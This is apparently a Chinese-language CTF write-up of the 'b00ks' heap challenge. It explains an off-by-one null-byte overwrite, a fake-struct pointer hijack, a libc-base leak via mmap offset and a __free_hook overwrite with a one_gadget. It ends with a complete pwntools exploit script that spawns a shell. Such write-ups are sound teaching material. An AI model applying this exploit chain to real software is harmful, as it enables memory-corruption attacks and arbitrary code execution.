自己做的第一个堆题,复现了很久,遇到了各种问题。希望这篇博客写的详细一点,能够把自己遇到的坑都写出来。
题目链接
分析源码
先运行一下,可以知道这是一个图书管理系统,下面主要分析一下各个功能的源码
Welcome to ASISCTF book library
Enter author name: hihih
1.Create a book
2.Delete a book
3.Edit a book
4.Print book detail
5.Change current author name
6.Exit
>
1. author name所使用的输入函数 sub_5651498C19F5 是自己定义的,而就是这个函数存在 off_by_one 漏洞。
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 ) /*a2=20h,效果1:当我们输入‘a’*32时,会额外输入一个 0x00,多覆盖一
个bit位,达到修改内存的目的;效果2:我们输入内容将0x00覆盖,当输出‘a’*32字符串时,将
会把后面跟着的数据一起输出出来,达到泄露内存的目的*/
break;
}
2. book struct
struct{
int id
char* name
char* description
int size
}
/*这里给大家解释一下为什么汇编中为什么最后的size存放的位置是v4+6
*((_DWORD *)v4 + 6) = v2;size
*((_QWORD *)v4 + 2) = v6;description
*((_QWORD *)v4 + 1) = ptr;name
*(_DWORD *)v4 = ++unk_565149AC3024;id
*/
这里面涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数
据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能
把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进
一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。
*((_DWORD *)v4 + 6) = *((void *)v4 + 24) = v2;size
*((_QWORD *)v4 + 2) = *((void *)v4 + 16) = v6;description
*((_QWORD *)v4 + 1) = *((void *)v4 + 8) = ptr;name
*(_DWORD *)v4 = *(void *)v4 = ++unk_565149AC3024;id
3. create book
printf("\nEnter book name size: ", *(_QWORD *)&v2);
__isoc99_scanf("%d", &v2);
...
printf("Enter book name (Max 32 chars): ", &v2);
ptr = malloc(v2);
if ( (unsigned int)sub_5651498C19F5(ptr, v2 - 1) )
...
printf("\nEnter book description size: ", *(_QWORD *)&v2);
__isoc99_scanf("%d", &v2);
...
v6 = malloc(v2);
...
printf("Enter book description: ", &v2);
v0 = v6;
if ( (unsigned int)sub_5651498C19F5(v6, v2 - 1) )
...
可以看出name和description都是存在堆中,而且用的是用户自己定义的输入函数。接下来我们就要对利用过程进行构想了
1.输入author name
要达到利用的目的,我们必须要输入32 bit 长度,才能在之后进行利用
2.create book
create两个book,
createbook(0x80,“a”,0x70,“a”)
createbook(0x21000,“a”,0x21000,“b”)
第一个book description通过布局能够达到任意写,从而修改第二个book struct数据,最终达到执行one_gadget的目的。至于为什么是在description中布局,我们稍后再揭晓。
3.print book1
author name存放在off_565149AC3018
book struct 指针存放在off_565149AC3010 + v3
我们用ida动态跟一下,就能发现,book struct 指针是紧挨着author name存放的。
0000557F587D1040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0000557F587D1050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0000557F587D1060 30 F1 B9 59 7F 55 00 00 60 F1 B9 59 7F 55 00 00 0....U..`....U..
我们这样就可以把struct book1 和 struct book2 的指针泄露了
4.edit book1 description
我们利用0x00将0x0000557F587D1060处的 0x30 覆盖后,存的 struct book1 指针就由指向0x0000557F59B9F130变成了指向0x0000557F59B9F100,而0x0000557F59B9F100处于struct book1 的description范围内,所以我们可以在book1 description中提前布置好fake book struct从
达到这样一个效果
0000557F59B9F0D0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000557F59B9F0E0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000557F59B9F0F0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000557F59B9F100 01 00 00 00 00 00 00 00 68 F1 B9 59 7F 55 00 00 ........h....U..
0000557F59B9F110 70 F1 B9 59 7F 55 00 00 FF FF 00 00 00 00 00 00 p....U..........
0000557F59B9F120 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 ........1.......
0000557F59B9F130 01 00 00 00 00 00 00 00 20 F0 B9 59 7F 55 00 00 ........ ....U..
0000557F59B9F140 B0 F0 B9 59 7F 55 00 00 70 00 00 00 00 00 00 00 .....U..p.......
0000557F59B9F150 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 ........1.......
0000557F59B9F160 02 00 00 00 00 00 00 00 10 C0 E8 90 50 7F 00 00 ............P...
0000557F59B9F170 10 A0 E6 90 50 7F 00 00 00 10 02 00 00 00 00 00 ................
0000557F59B9F180 00 00 00 00 00 00 00 00 81 0E 02 00 00 00 00 00 ................
这样我们就能通过edit函数来修改struct book2 中的description 和name指针了
5.change author name
既用0x00覆盖0x30,
6.print book2
通过print book1 name 和description,将struct book2中的description 和name指针泄露出来。
为什么要泄露出这两个指针,这和我们的下一步利用密切相关,因为我们需要知道libc 地址,而mmap分配的内存和libc存在固定偏移,所以我们只需要把固定偏移求出来即可。而堆内存分配原则一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。当我们申请一块超大内存时,则会使用mmap函数,所以在申请book2 description 和name时,size=0x21000
0000557F59B9E000 ; ===========================================================================
[heap]:0000557F59B9E000
[heap]:0000557F59B9E000 ; [00022000 BYTES: COLLAPSED SEGMENT _heap_. PRESS CTRL-NUMPAD+ TO EXPAND]
libc_2.23.so:00007F50908D8000 ; ===========================================================================
libc_2.23.so:00007F50908D8000
libc_2.23.so:00007F50908D8000 ; Segment type: Pure code
libc_2.23.so:00007F50908D8000 ; Segment permissions: Read/Execute
description_libc offset=0x00007F5090E6A010 - 0x00007F50908D8000= 0x592010
7.edit book1 ,book2
通过edit book1 description,将__free_hook 写入book2 description
然后edit book2 description,将one_gadget 写入 __free_hook,当__free_hook内容不为NULL时,执行其内容,既one_gadget
xxx@ubuntu:~/Documents/heap/b00k$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
8.free
exp(exp大部分都是参考了ctf-wiki 链接)
from pwn import *
context.log_level="info"
binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")
#raw_input()
def createbook(name_size,name,des_size,des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id=int(io.readline()[:-1])
io.readuntil(": ")
book_name=io.readline()[:-1]
io.readuntil(": ")
book_des=io.readline()[:-1]
io.readuntil(": ")
book_author=io.readline()[:-1]
return book_id,book_name,book_des,book_author
def createname(name):
io.readuntil("name: ")
io.sendline(name)
def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)
def editbook(book_id,new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)
def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))
createname("A"*32)
createbook(128,"a",0x70,"a")
createbook(0x21000,"a",0x21000,"b")
book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))
payload='a'*0x50+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr-0x592010
log.success("libc base:"+hex(libc_base))
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget=libc_base+0x4526a#0x45216#0xf1147#0xf02a4#
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
editbook(1,p64(free_hook))
editbook(2,p64(one_gadget))
deletebook(2)
io.interactive()